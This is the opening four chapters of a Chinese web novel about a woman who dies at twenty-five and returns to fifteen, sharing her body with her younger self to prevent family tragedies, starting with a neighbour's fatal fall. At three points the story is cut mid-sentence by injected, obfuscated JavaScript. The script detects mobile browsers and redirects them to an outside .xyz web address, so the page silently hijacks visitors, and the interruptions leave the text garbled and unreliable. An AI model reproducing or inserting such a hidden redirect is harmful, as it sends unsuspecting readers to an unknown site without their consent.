《重生后多了一个我》 1. 重生 温流照的一生过得倒霉,从十五岁起,亲人朋友相继离世,浑浑噩噩活到二十五岁,被人一把推下楼,摔死了。 脑袋磕在水泥地上,疼痛让她几乎失去意识,不知怎的,她想起了早已离世的花奶奶。 十年前,花奶奶也是因为磕到脑袋才驾鹤西去。 痛,好痛,痛死了,原来磕到脑袋这么痛。 啊……好像看到花奶奶了,奶奶又给她带吃的了。温流照努力抬起手,抓向虚空中的幻影。 花奶奶握住她的手,把她从地上拉起来,她一脑袋的血,耳鸣得厉害,眼睛也是花的,就这样被拽着往前走。 温流照走不利索,像刚会走路的孩童,被大人牵着手往前。她看到了很多人,溺亡的父亲、被杀的友人、失踪的母亲。 血肉疯狂再生,仿佛时间倒流,温流照在亲人朋友们的注视下,停在一扇漆黑的小门前。 耳畔传来许多人的声音,他们齐声说着同一句话:“温流照,你该醒了。” “你该醒了。” “!” 温流照猛抬头,从梦中惊醒。坠亡的疼痛与绝望还残存在她的意识里,她扶着额头,发现自己好端端坐在房间的书桌前。 嗯?房间?书桌前? 她不是离开丰林市了吗? 温流照抬眼看向桌上的台历,她有个习惯,每天早上起床会划去台历上今天的日期。 她眼睛盯着被划去的日期,确认了三遍。 今天是中考结束的第三天……温流照眼珠一转,瞟了眼旁边的电子钟……下午六点整。 她好像,重生了。 重回十五岁初升高的暑假,一切悲剧尚未开始前。 …… 幸福小区楼层不高,没有电梯,户型全都是三房一厅,温流照家住三楼,楼下就是商铺,有一家馄饨店的馄饨很好吃。 她扒着窗户往下张望,看那高声叫卖的小贩,看那逡巡不定的顾客,她一直看一直看,好像很稀罕这样稀松平常的画面。 一只手搭在温流照的肩膀上,压得她肩膀沉了沉,她扭头,一个寸头的中年男人叼着根巧克力棒笑得贱兮兮的。 “哟,看什么呢那么好看?”老温叼着巧克力棒含混不清地问。 温流照想瞪他,就像十年前一样,但她一看见老温的脸就有点绷不住眼泪了,哪里还舍得瞪他。 哪里还舍得瞪她死去十年的父亲。 “吃饭了。”咚一声,秦女士把一碟生菜放在餐桌上,老温很自觉地跑进厨房拿碗筷。 温流照用手背按了按眼角,拭去溢出的眼泪。 不能哭啊,哭了就要露馅了,她悄悄收拾好纷乱的心绪。 “嗯~这次的牛肉煮得刚刚好。”老温吃了口滑蛋牛肉,露出幸福的表情,“来,温流照同学,给妈妈鼓个掌。” 老温放下筷子伸出手,朝温流照眨眼,温流照也跟着伸手,父女俩“啪啪啪”鼓起掌。 秦女士被逗笑了,笑完又有些不好意思,用筷子头轻轻敲了一下老温的脑门。 “好了,吃饭。”秦女士板着脸说。 老温“啪”一下挺直腰杆,对着秦女士敬了个标准的礼:“遵命。” 秦女士是忍住笑了,温流照没忍住,“噗”地笑出了声。 “哈哈哈——”温流照笑得停不下来,笑着笑着察觉到空气有些凝滞,她停下来一看,老温和秦女士全都看着她,眼里是惊讶、慌乱与担忧。 诶? 脸上好像有水,温流照抬手,用手背一擦,干净了,可过几秒钟又湿了。 “诶?” 温流照想擦干净眼泪,她不能哭,不想让父母担心,可眼泪怎么也擦不完。 温流照从椅子上站起来,至少……至少不能让老温和秦女士看到她哭,躲起来,对,躲起来。 她刚想跑回房间,就被老温揽进怀里,秦女士手忙脚乱地扯了两张纸巾,站在老温身后帮温流照擦眼泪。 温流照很少哭,更少当着父母的面哭,夫妻俩都被吓了一跳。老温抱着温流照,宽大的手掌一下一下摸着她的背,就像小时候一样。 “好了好了,不哭不哭。”老温说。 小时候老温也是这样安慰温流照的。 太久了。 温流照伸手拉住秦女士的手,她放声大哭,宛若新生。 你们离开我太久了啊…… …… 这顿晚餐吃得一把鼻涕一把泪,温流照最后用“考试压力太大”糊弄过去了。 饭后,她拿了本崭新的笔记本,提笔在扉页上写下“已知之事”四个大字。 事件一:花奶奶摔倒离世。 事件二:老温科考溺亡。 事件三:徐幼盈被杀。 事件四:秦女士失踪。 温流照放下笔,静静注视着笔记本上的这四个事件,改变她人生走向的四件事。 明天下午六点,花奶奶会在下楼梯时不慎摔倒,就此驾鹤西去。 花奶奶是温流照的邻居,一个农村出来的小老太太,她有两个儿子,一个女儿。 花奶奶早年劳累,身体不大好,小儿子工作稳定后便回老家把花奶奶接来身边照顾,花奶奶总怕麻烦儿子,儿媳好说歹说才把她留下。 城里的生活与农村不同,刚开始花奶奶怎么也不习惯,她看那车水马龙的街道不顺眼,看这家家户户紧闭的门窗不顺眼,愈发思念远在乡下的老友了。 花奶奶正想着找个由头再和儿子提离开的事,还是小学生的温流照便敲响了她的家门。 花奶奶一开门,就见一个眼睛亮晶晶的小姑娘站在门口,手里提着一只腊鸭。 “奶奶晚上好!”小姑娘挥挥手,笑容灿烂,“老温说有新邻居搬来了,让我来打个招呼。” 小姑娘说着,把手里的腊鸭递给花奶奶:“这是我外婆做的,很好吃!分给奶奶一只!” 花奶奶微微一愣,看着小姑娘的脸,想起自己的女儿,心里软软的。她接过腊鸭,抬手摸了摸小姑娘毛茸茸的脑袋,小姑娘很开心,猫儿一样露出餍足的表情。 往后的日子里,花奶奶总盼着小姑娘再来,盼着听见那一声“花奶奶”,她好像终于找到留在这的理由,再也没想过要回乡下。 老温和秦女士工作都忙,不能时时在家,每次父母没法及时回家,温流照都会敲响花奶奶的家门,不多时,一位白发苍苍的耄耋老人便会给她开门。 花奶奶见到温流照时,干橘皮一样的脸会绽开一个笑容,枯木般的手会轻柔地牵住温流照的手,走进开着暖黄色灯光的小屋。 每每造访,花奶奶都会拿出些自制的零嘴,开口枣、米果、糍粑、米饼……在年幼的温流照眼中,花奶奶就像魔术师,总是能变出各种好吃的。 就这样,花奶奶看着温流照从小姑娘长成大姑娘,温流照看着花奶奶的背越来越弯。 然后折了。 前世的明天,温流照和武术馆的教练练了一天的太极拳,回家时正巧看见花奶奶摔在地上,摔了个头破血流。 温流照是第一个发现花奶奶摔下楼的。 人老了,一点小磕小碰就会没命,即便医护人员倾尽全力也没能把花奶奶抢救回来。 花奶奶死了。 花奶奶的小儿子一下子消瘦了很多,葬礼结束后,他很抱歉地和温流照说,他无法安然待在母亲离世的城市,他要带着家人搬走,去一个很远的城市重新生活。 对门的房子卖了,新来的那户人家很冷漠,从此温流照一个人在家时,再也不会有人打开家门,问她要不要一起吃饭了。 很长一段时间,温流照都无法忘记花奶奶摔在地上头破血流的样子。 噩梦里,花奶奶花白的头发被血染红,一遍遍问她:“你怎么来得那么晚?” 温流照的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364346|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手微微颤抖,握紧了拳头。 这一次,她不能再晚了。 …… 温流照思绪纷杂,一夜未眠。 天光乍亮,桌上的电子钟“嘀”的一声轻响,清晨六点了。 要思考的事有很多,要记录的事也有很多。她的目光落在桌上摊着的笔记本上,她花了一个晚上的时间回忆和整理那四件事的来龙去脉,思考相应的解决方案。 前两件事是意外,应该不难应对,难就难在最后两件事。 事件三,她的高中好友在自己家里被杀人犯杀了。事件四,她的母亲秦女士无故失踪。 这两件事暂时想不出对策,温流照脑袋发昏,困意上头。 最后两件事单凭她没法解决,要找人帮忙……找人……帮忙…… 温流照的眼皮越来越沉,她强撑着想要走到床上,却发现自己无法动弹。 一种诡异的,灵魂出窍般的感觉袭来,脑中兀地响起电流声,像老旧电视雪花屏时的声音。 【??】:尝试……失败…… 脑袋像被电击了般,温流照头疼得厉害,没在意也没心思在意那诡异的机械音。 【系统】:重生系统出现故障,即将进入逆转空间…… 什么系统?什么空间? 温流照只觉得脑袋要炸了,而在她快要忍耐不住时,剧烈的疼痛骤然消失,连带着一起消失的,还有自己的房间。 温流照重新睁眼,不,其实并不只是她的房间消失了,而是…… 她四下张望,自己置身于无边无际的黑暗之中,整个世界都消失了。这里没有生命体,没有色彩,也没有边界,什么也没有。 温流照垂头,她站在这片虚无的黑暗之中,就像黑色画布上的彩绘小人。 这里就是刚刚那个机械音说的……“逆转空间”? 这到底是怎么回事? “叮”一声,眼前浮现一个巴掌大的蓝色光圈,温流照被突然出现的光球吓了一跳。 【系统】:宿主您好,由于系统故障,您每天只有12小时的重生时间,未来您将与过去的您轮流掌控身体。 蓝色光圈开口,声音和先前温流照听到的机械音一致,是个青年女性的声音。 【系统】:6:00-18:00为从前的您掌控身体,18:00-次日6:00为现在的您掌控身体。 系统还在进行介绍,温流照脑袋里冒出一个一个问号,她连忙出声打断:“等等,等等……” 按照系统的说法,温流照需要和十年前的自己“共生”……虽然经历了重生这样超自然的事情,温流照还是有点难以接受和不同时空的自己“共生”。 首先是称呼,该怎么区分两个人的称呼?大温小温?嗯,就叫这个吧。 温流照按着太阳穴,慢慢接受了现状。 “身体是不能二十四小时都醒着的吧?”她问。 【系统】:是的。 “我操控身体的时间在晚上……”温流照挑眉,语气隐隐有些不悦,“我的习惯是晚上十点睡觉,也就是说,按照我的睡眠习惯,实际上我一天只能活四个小时?” 【系统】:在6:00-18:00之间,操控身体的人睡着或昏迷,将会由另一个人操控身体,您可以通过这种方法获得更长的重生时间。 【系统】:此外,为了补偿您的损失,我们为您开启了逆转空间的使用权限。在其中一人操控身体时,另一人可在这个空间里自由行动,空间流速与现实一致。 【系统】:逆转空间的使用权限归重生者——也就是您所有,您可以凭借想象随意改变空间的形态,也可以通过网络与现实进行联络。 【系统】:您还有什么疑问需要解答? “有。”温流照默默举手。 【系统】:请您询问。 “你们系统真的不收费吗?”温流照惊疑不定地询问。 2. 与“我”的初相遇 小温一睁眼就发现自己坐在书桌前,桌上摊着本笔记本。 笔记本上的油墨很新鲜,她小指外侧的油墨也很新鲜。 头疼欲裂,她只觉得好像有人拿个针筒扎破她的头皮,针管穿透颅骨,药液被打入脑中。 胀痛感让她的五官皱成一团,脑中走马灯一样高速播放着昨晚的记忆。 她知道自己昨晚在餐桌上大哭了一场,知道自己伏案写了一夜的笔记,唯独不知道为什么要这么做。 做这些事的好像是她又不是她。 过了好一会,小温缓过劲了,这才有空看面前摊开的笔记本。 小温认得这是自己的字迹,只是更加成熟。她看到上面写着一件凶杀案的案件记录,眉头紧皱,潜意识感到不安。 小温把笔记翻回首页,看到了那四个事件,眉头皱得更紧了。 “徐幼盈是谁?这些事件是什么?未来会发生的事吗?” 她往后翻,每一个事件都写出了涉及人员和事件的起因后果,甚至还列出了详细的应对方案,逻辑通畅,条理清晰,不像是编的。 写下这些内容的是谁? 是未来的她吗? 小温神色一凛,她有种很不妙的预感,好似山雨欲来。她想要仔细阅读笔记上所写的内容,可眼皮越来越沉,她有些撑不住了。 也罢,等睡醒再看也不是不行。小温晃晃悠悠走到床边,直挺挺砸在床上,睡死过去。 不知是通宵过于疲惫,还是那本笔记让她有些疑神疑鬼,小温做了一个奇怪的梦。 她梦见一个纯黑的空间,这里没有光,更没有人,除了她什么也没有。 小温想离开,她在这个奇怪的空间里奔跑,想找找出口,她跑啊跑,不知跑了多久,终于看见了一扇纯黑色的门。 小温毫不犹豫地推开了那扇门。 漆黑的小门缓缓打开,门内站着一个二十五岁左右的女人。 她长得比小温高一些,大约高了两三厘米,很瘦,纸一样轻飘飘的感觉,眉间的皱纹很深,像是刀刻上去的。 女人身后是一个黑漆漆的房间,地上躺着几件歪七扭八的家具,像是捏陶瓷器皿时捏坏了的产物一样。 “哟,终于见面了,小温同学。” 女人好像一直在等着小温,她招招手,笑嘻嘻地和小温打招呼,就像见一个多年未见的普通老友。 小温连退几步,满脸写着惊恐。 见鬼了,这人长得跟她好像。 说是像,其实还是有些区别的,眼前的女人显然是个成年人,嬉皮笑脸的样子特别像老温。 女人看到小温的反应,有些苦恼,又有些理解,她拍拍手,空中显现出一个蓝色圆环,圆环中央有一条直线。 “你来解释吧。” 女人挥挥手,在小温惊恐的目光中,蓝色圆环说话了,是一个没有感情的机械女音。 【系统】:您好,小宿主,我是重生系统,您眼前的这位是十年后的您。 蓝色圆环说话时,中央的直线会随音量起伏,它冷静地和小温讲述事情的起因结果。 “你真的是十年后的我?”小温听罢,仍有些不敢确定。 女人看起来可不止比小温大十岁。 “是,你可以叫我大温。”大温顿了顿,接着说道,“写下那本笔记的就是我。” “等会。”小温扶着额头,感觉自己的世界观在受到冲击,“让我缓缓。” 大温屏退系统,蓝色圆环消失,她自顾自地坐到那凹凸不平的沙发上。 在小温来之前,大温在系统的引导下尝试使用想象力凭空捏造一些家具,她还不太熟练,因此这里零星的几件家具全都怪模怪样的。 大温有些惆怅,想抽根烟,又想起这里还有小温这个未成年,最终掐灭了这个想法。 虽然进入逆转空间的她们都是魂体状态,但大温还是不太想让小温知道她会抽烟,可能……是不想让从前朝气蓬勃的自己看到她颓废的样子吧。 “给你讲个故事吧,一个很长的故事。”大温靠在沙发背上,小温也跟着坐到她身侧,听她讲述这长达十年的故事。 故事里,一个原本泡在爱中长大的少女逐步失去自己的至亲好友,从一个活泼开朗的中二少女,变成一个暮气沉沉的青年。 十年间,她遇到了很多好人,也遇到了很多坏人。 “最后,我在天台被人一把推下,摔死了。”大温侧头,勉强对小温露出一个干巴巴的笑,“不过也算是因祸得福,我回到了十年前,得到了阻止悲剧的机会。” 大温话音刚落,小温便伸手抱住了她,她听见耳畔传来小温有些哽咽的声音—— “这么多年以来辛苦你了,大温。” 大温也伸手,回抱了小温。 明明说好不哭的,怎么又有些忍不住了……真奇怪,真奇怪。 …… 通宵过后,小温一觉睡到下午,醒来时还有些茫然,分不清白天黑夜。 她去厕所洗了把脸,微凉的水打在脸上,清醒了许多。 还有两个小时就是花奶奶前世摔下楼的时间了,接下来,小温需要按照计划拜访花奶奶家。 手机“叮咚”一声响,是大温的好友申请,昵称很直白,就叫“大温”。 小温睡醒之前,大温努力“想”出了电子设备,费了好大功夫才连上现实里的网络。在她们中的任何一人操控身体时,另一人可通过逆转空间的电子设备与操控身体的人进行联络。 大温登录的账号是一个很久不用的小号,密码都忘了,在小温醒来前,她们两个还在冥思苦想,思考密码是什么。 小温点击通过好友申请,对话框弹出一个加油打气的表情包。 【大温】:一切顺利! 小温微微一笑,她好像多了一个朋友,这个朋友是另一个自己。 …… 17:23,小温敲响花奶奶的家门。 等了约莫半分钟,门开了,开门的是一个丰腴的中年妇女,年纪比秦女士大一些,盘发,眉毛纹得很黑。 女人是花奶奶的儿媳,姓黄。黄阿姨一见是小温,连忙笑着把她迎进门:“哎呦,小照怎么来了?吃饭了吗?” 小温嘿嘿一笑,两指并拢举到太阳穴的位置:“我来蹭饭了!” “好啊。”黄阿姨笑道,“想吃什么?要不要我再去买点菜?” “不用不用!”小温连忙摆手,“有啥吃啥,反正黄阿姨做什么都好吃!” 黄阿姨比了个飞吻:“就你嘴甜。” 小温在客厅里看了一圈,没看见花奶奶,她问:“花奶奶呢?” “老妈出门了还没回来呢。” 小温脚步顿住,眉头紧锁,一种微妙的、不好的预感慢慢涌上心头。 大温的世界里,大温是在下午六点左右发现花奶奶摔倒的,花奶奶年纪大了,走路很慢,上下楼都费劲,按照大温的推测,花奶奶这个时间段应该在家才对。 为什么会不在? 现在已经17:24了,如果花奶奶是18:00左右摔倒的,那她究竟是下楼摔倒的,还是……上楼摔倒的? “你也不早点说要过来吃饭,早点说我就买只鸡什么的。”黄阿姨站在冰箱前打量着里面的菜,“要不待会下楼再买只烧鸭好了。” 小温没听黄阿姨在说什么,她一把抓住黄阿姨的手,语气急促:“黄阿姨,花奶奶有说她去哪了吗?” “啊?没说啊。”黄阿姨被小温突然的举动吓了一跳,有些茫然地看着小温。 小温眸子暗了暗,松开黄阿姨的手,转身夺门而出。 黄阿姨不知道发生什么了,她愣了几秒钟才追出门。她两手扒着楼梯扶手往下瞅,小温从小习武,此刻健步如飞,早就跑没影了。 黄阿姨瞅了眼,喃喃道:“这孩子咋了跑这么快?” 小温三步并作两步蹦下楼,楼下没有看到花奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364347|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶的身影。她掏出手机,给大温发消息。 【小温】:你确定花奶奶是下楼时摔的吗? 大温的消息回得很快,貌似一直在等小温的消息。 【大温】:我很确定。 【小温】:花奶奶现在不在家,她出门了。 “出门?” 逆转空间内,大温眉头紧锁。她看了眼时间,17:28。 今天花奶奶的儿子要加班,很晚才回来,孙子还没放假,只有儿媳黄阿姨在家。 上一世发现花奶奶摔倒后,大温立刻上前查看情况并拨打急救电话。她当时只是个孩子,听不太懂电话另一头的医护人员让她做什么,于是她冲上楼叫黄阿姨。 当时黄阿姨刚刚收拾好碗筷,她听了大温的话,大吃一惊,二人急匆匆赶下楼,黄阿姨一见地上头破血流的花奶奶时,倒吸一口凉气,险些背过气去。 就因为这个细节,大温很确定花奶奶是下楼时摔倒的,并且是在晚饭过后没多久。 但她不知道更多的细节了,那时花奶奶的家人都沉浸在悲痛中,没人和她说具体的经过。 花奶奶能去哪里? “系统,能提供一点场外援助吗?”大温对着虚空问道。 【系统】:很抱歉,暂时无法提供。 系统依旧用毫无感情起伏的机械音回答道,这次系统没有显性,这句话是直接在大温脑子里说的。 唉,她的系统怎么这么没用。大温叹息,只好自己想。 花奶奶的活动范围很小,五栋楼下有老头老太支了个棚,花奶奶会偶尔在那里和小区里的其他老人一起聊天下棋。只是现在这个时间,老头老太们回家吃饭的吃饭,接孙子的接孙子,早没人了。 大温默默在心里排除所有娱乐活动,这个点基本都没人了。 这下犯难了,除了娱乐活动,大温还真想不出来花奶奶外出的理由。她抱着头冥思苦想好一会,终于在那些模糊的记忆里抓住了一个片段。 “这里怎么长了这么多向日葵?谁种的啊?” “不知道啊,小孩撒的吧,草都跟花一样高了。” 记忆里大温曾听见这样的一段对话,也曾看见过一个未完成的花圃。 花圃? 大温一愣,随后飞快打字。 【大温】:小区大门左转一百米。 小温原本在五栋楼下的塑料棚附近,那里如大温所料没有人。收到大温的消息后,小温立刻动身。她记得那里,那里有一小块围起来的空地,原本打算做花圃的,后来不知为何闲置了。 小温跑出小区大门,一转头果然看到一个灰白色的人影,花奶奶坐在花圃边,正看着绿化带树下的麻雀。 小温松了口气,掏出手机给大温回消息。 【小温】:找到了。 收到消息的大温也松了口气,她仰躺在沙发上,用手腕遮住眼睛,有些想笑,又有些想哭。 前世,花奶奶去世后,那一块空地长出了许多向日葵,营养不良的向日葵幼苗被杂草包围,说不上来的滑稽。 大温不知道那是谁种的,也没心思去了解。那时她刚刚遭受至亲离世的打击,浑浑噩噩不知今夕何夕。 她可能注意到了那些向日葵幼苗,又可能没注意到,她不知道,她忘记了。 直到现在,她才想起过往尘封的记忆,想起某日她和花奶奶的闲谈。 “唉,这里要是有一个花圃就好了。”经过那块空地时,大温如此感慨。 “花圃?” “对啊,听说块空地一开始是想做个花圃的,可惜后来没做成。”大温弯着腰,伸手碰了碰其中一棵狗尾巴草。 “那小照喜欢什么花呀?”花奶奶笑着问。 “嗯……可能是向日葵?”大温嘿嘿笑,“老温总说我像向日葵。” 她想起来了…… 全都想起来了…… “抱歉,奶奶,我想起得实在太晚了……” 3. 罗非鱼定律 “奶奶——”发完消息后,小温就大喊着奔向花奶奶。 她也想起来了,她知道花奶奶为什么会出现在这里了。 傻瓜,她们都是傻瓜,一个把随口说的话当了真,一个把随口说的话抛在脑后,真是傻瓜。 花奶奶耳朵不太灵,她能听见熟悉的声音在叫着什么,就是听不太清楚。她转头看向声音来源,只见一个高马尾的少女超她奔来。 画面没有声音,但在看见小温的那一刻,花奶奶还是能看见声音。 她看见小温在叫她“奶奶”,和往常一样,和过去的每一天一样。 “奶奶——”花奶奶站起身,微笑着张开手,小温扑过来,扑了个满怀。 “怎么了,我的好姑娘?”花奶奶柔声问。 “你怎么不告诉我?”拥抱只持续了很短的时间,小温松开手,目光落在一旁的石凳上。 石凳上放着一包开封了的花种,花种旁摆着一个装着水的矿泉水瓶,瓶盖上戳了几个小孔。 花奶奶也顺着小温的目光看去。 “哎呀,被发现啦。”花奶奶并没有被戳穿的慌乱,她仍是笑,“本来想在你考完试回家之前种好,给你一个惊喜的,可惜没来得及。” “奶奶,以后你有什么事都不要瞒着我,好吗?”小温握着花奶奶的手,看着她的眼睛说,“我总是看到新闻里有老人轻轻一摔就再也起不来了,奶奶,我很担心你……” “没事的,没事的,我一直都很小心,不会出事的。” “奶奶……”小温眼中的忧虑仍未退散,她还想说什么,被花奶奶打断了。 “嘘——”老人摇摇头,食指竖于唇前,示意小温不用说了。 花奶奶抓住小温的手腕,将她的手转过来,在手心里留下了什么。 “毕业快乐,我的姑娘。”花奶奶说。 盖在小温掌心上的手移开了,小温垂眼,如同魔术师的戏法,一朵白色的小花静静躺在小温手心。 “我亲爱的姑娘,我希望你永远不要为未知之事感到恐慌与忧虑,我希望你永远幸福、快乐。” 小温看着那朵小花,眼眶渐渐湿润。 这是一朵随处可见的野花,小温不知道它的名字,只知道它很廉价,通常被人们称为杂草。 但现在,它承载了一位长辈对晚辈的衷心祝愿,代表了一份弥足珍贵的爱,它成了一份无价的珍宝。 小温忍住眼泪,模模糊糊地“嗯”了一声。 她把小白花收好,吸吸鼻子,说道:“奶奶,我来帮你吧,种完花,我们一起回家。” …… 将近六点时,小温送花奶奶上楼,危险时间还没结束,她要亲眼看着花奶奶打开家门走进去才安心。 花奶奶不疾不徐地打开家门,走进去,小温稍稍放心,转身想回家把小白花放好。她一转身,骤然瞥见隔壁那户人家的家门开着一条缝,一只眼睛透过门缝静静看着她。 小温被吓得汗毛炸起,那只眼睛的位置很矮,是个小孩的。 幸福小区的居民楼每栋六层,一层四户,花奶奶是小温的对门。花奶奶家旁边那户人家貌似一直在外地打工,很少见到,而小温家隔壁这户…… 这户人家是一对感情不合的夫妻,三天两头吵架,有时吵得凶了,整栋楼都能听见。 这户家人有一对儿女,女儿刚考上大学,儿子只有八九岁大。这对夫妻对孩子也不好,小温很小的时候就见过他们打骂孩子,后来老温联系了妇联,夫妻俩才稍微收敛些。 大抵是因为家庭关系,这对夫妻的儿子性格古怪,时常一声不吭盯着别人看,有时还会莫名其妙大叫。就像现在这样,小温不止一次被这小孩吓到了。 被发现的小孩静悄悄跑回屋,小温拍拍胸口,掏出钥匙打开家门,把花奶奶送的小白花夹在书里放好,走向玄关。 小温的手搭在门把手上,熟悉的抽离感袭来,下午六点了。 大温按时上线,一并来的还有头疼,她握着门把手缓了会。 记忆的读取是强制性的,只要大温小温中的一方接替另一方控制身体,就会在“交班”后立刻接收身体里的记忆。 这个过程就像是打针,把本不属于自己的东西输进来,难免会有疼痛感。 等到疼痛渐缓,大温握着门把手的手往下一压,打开了家门。 她走出家门,首先看向隔壁那户人家的家门。黑色的防盗门紧闭,那个小孩把门关上了。 大温对这个小孩没什么好印象,跟个没灵魂的木偶人一样,瘆得慌。她耸耸肩,抖掉手臂上的鸡皮疙瘩。 花奶奶的家门虚掩着,花奶奶特意留了门,缕缕菜香从门缝中飘出,大温恍惚了阵,被菜香勾着推开门,走进屋。 深棕色的木质防盗门缓缓打开,露出玄关处的鞋架,鞋架上整齐码放了各种各样的鞋,有大有小,有男有女,放得满满当当。 站在玄关处能看到半个餐桌,黄阿姨在炒菜,锅铲翻动食材发出“嚓嚓”的响声,大温仔细嗅了嗅,似乎是羊肚菌闷鸡。 花奶奶坐在阳台的躺椅上打毛衣,她总是闲不下来,在家时就喜欢打毛线。 大温走进屋,把门带上。黄阿姨听见关门声,举着锅铲从厨房探出头来问道:“呀,回来了,之前怎么突然冲出去啊?” “嗐,没什么,就是新闻看多了,有些疑神疑鬼,担心花奶奶在外面摔倒了没人扶。” “呸呸呸!才不会摔倒呢,你也来呸。” “呸呸呸!” “这才对。”黄阿姨笑道,“总想着不好的事,不好的事就更容易发生了。阿愿以前和我说过的,那个黄油面包掉地上的定律,叫什么非……非……罗非鱼定律?” 罗……罗非鱼? 大温脑子里好像游过了一条肥美的鱼。 “黄油面包……是墨菲定律吧?” 墨菲定律,即任何可能出错的事最终都会出错。面包掉在地上时,涂黄油的那一面总是朝下,俗称“怕什么来什么”。 “对!就是那个!”黄阿姨说,“没发生的事,你再担心也没用,你越是担心,越是可能发生,所以不要多想,小照,生死有命富贵在天,你是读书人,应该比我更容易想通。” 黄阿姨说完,想起锅里的鸡肉,忙不迭缩回厨房继续忙活。 大温愣愣走到沙发上坐下,电视机背后的墙上贴满了橙黄色的奖状,奖状上都是同一个名字——曲宏愿,这些奖状全都是花奶奶孙子的,从小学到高中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364348|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电视机旁放着个很有年代感的红色暖水壶,上边写着个“囍”字,是花奶奶当年结婚时买的,几十年过去了还能用。 这个家的陈设比较古朴,家具都是木的,就连沙发都是木质的,只是在上边垫了一层海绵垫。 大温看着屋内陈设,脑子里想着黄阿姨和花奶奶说的话。她像是得到仙人点化的精怪,突然了悟了。 不要害怕未知,不要提前假定未知是不幸的。 她们想要告诉她的,便是这样一个道理。 想通后,大温吭哧吭哧搬了把木椅子,坐到花奶奶身边。花奶奶知道,大温又要和她分享学校里的趣事了,她放下手中的毛衣,秉持一位听众的美德,微笑着等待大温开口。 大温说到她的班主任,一个大男人在最后一次班会上哭得稀里哗啦。 说到有关系好的同学勾肩搭背,商量着报考哪个高中。 说到年轻的英语老师羞怯地拿来一叠明信片发给每一位同学,每张明信片上都写着美好的祝愿。 说到最后,一顿饭做成了,黄阿姨吆喝一声,大温和花奶奶起身走向餐桌。 正欲坐下,玄关处传来钥匙插入锁孔的声音,一个提着公文包,面带疲惫的中年男人推门而入。 男人姓曲,是花奶奶的小儿子,黄阿姨的丈夫。大温和曲叔叔打了个招呼,他点点头,就算是回应了。 好久不见,曲叔叔还是这么沉默寡言啊。 “老曲,你回来得正好啊,刚好开饭。”黄阿姨招呼曲叔叔过来吃饭,曲叔叔放下公文包,洗了手,像平常一样坐在黄阿姨身旁。 曲叔叔夹了一块红烧肉,黄阿姨一脸期待地看着他,等他咽下去后,黄阿姨问道:“怎样?” “好吃。”曲叔叔的回答很简洁,得到夸奖的黄阿姨笑了,笑得很幸福。 有黄阿姨在,这顿饭吃得热闹,大温和黄阿姨插科打诨,聊得不亦乐乎。只可惜花奶奶的孙子还没放假,少了双碗筷,还不算最热闹。 饭后,曲叔叔在帮忙收拾碗筷,大温掏出手机看了看时间,19:37,远远超过了上一世花奶奶摔倒的时间。 她松了口气,成功了,她改变了已知的未来。 大温给小温发了个胜利的表情包,小温也回了个一样的表情包。小温在逆转空间里,用的是大温的账号,头像是个手舞足蹈的猫meme。 猫meme头像兀地跳出来,有些好笑。 …… 晚上九点,大温反复叮嘱花奶奶出门时要小心小心再小心,直到花奶奶应下才肯回家。 老温和秦女士早已到家,秦女士在洗澡,老温懒洋洋地瘫在沙发上看电视。 电视机里放着最近热播的肥皂剧,正播到男女主被迫天各一方,老温边看边吸鼻子,听见大温进门的动静也没理。 花奶奶已经得救,接下来就是老温了。 七月初,老温会随科考队一同前往沛霖市的地下溶洞进行科考调查,在科考的第三天,引导绳突然断裂,老温没能及时返回水面,最终不幸溺亡。 大温深吸气,在看肥皂剧看得入迷的老温身边坐下,抬手戳了戳老温,语气随意地问道:“老温老温,七月初的科考我能跟你一起去吗?” 4. 家庭弟位 “可以啊。”老温吸吸鼻子,答得也很随意。 这就答应了? 大温一愣,原本想好了一堆借口通通没有派上用场。 科考队确实允许家属随行,未成年家属需要监护人同意。大温的监护人是老温,这方面倒是没什么问题,但老温答应得还是有些太快了。 大温眯着眼睛盯着老温,老温缩缩脖子:“你做什么?你那眼神要给我脸烧俩窟窿了。” “你怎么答应得那么快?”大温直接问。 老温故作震惊:“难道我要拒绝几次再答应吗?” “不用,就是答应得太快了,有点陌生。”大温虚空一抓,假装握住话筒,递到老温嘴边,“采访一下,这位先生,你还是我爹吗?” “叫哥哥。”老温嬉皮笑脸。 “好的弟弟。”大温微笑,握着皇帝的话筒的手一转,对老温竖起中指。 老温回敬了她两个中指,大温也不逊色,追加了一个中指。 老温左右瞟了眼,人只有两只手,数量上赢不了,他就把两只手怼到大温面前。 大温伸手撞开老温的手,父女俩的年龄加起来至少五十多了,此刻却像幼儿园的小朋友一样,举着手上下左右地比划,谁也不肯让谁,直到最后两个人的手都举酸了才肯罢休。 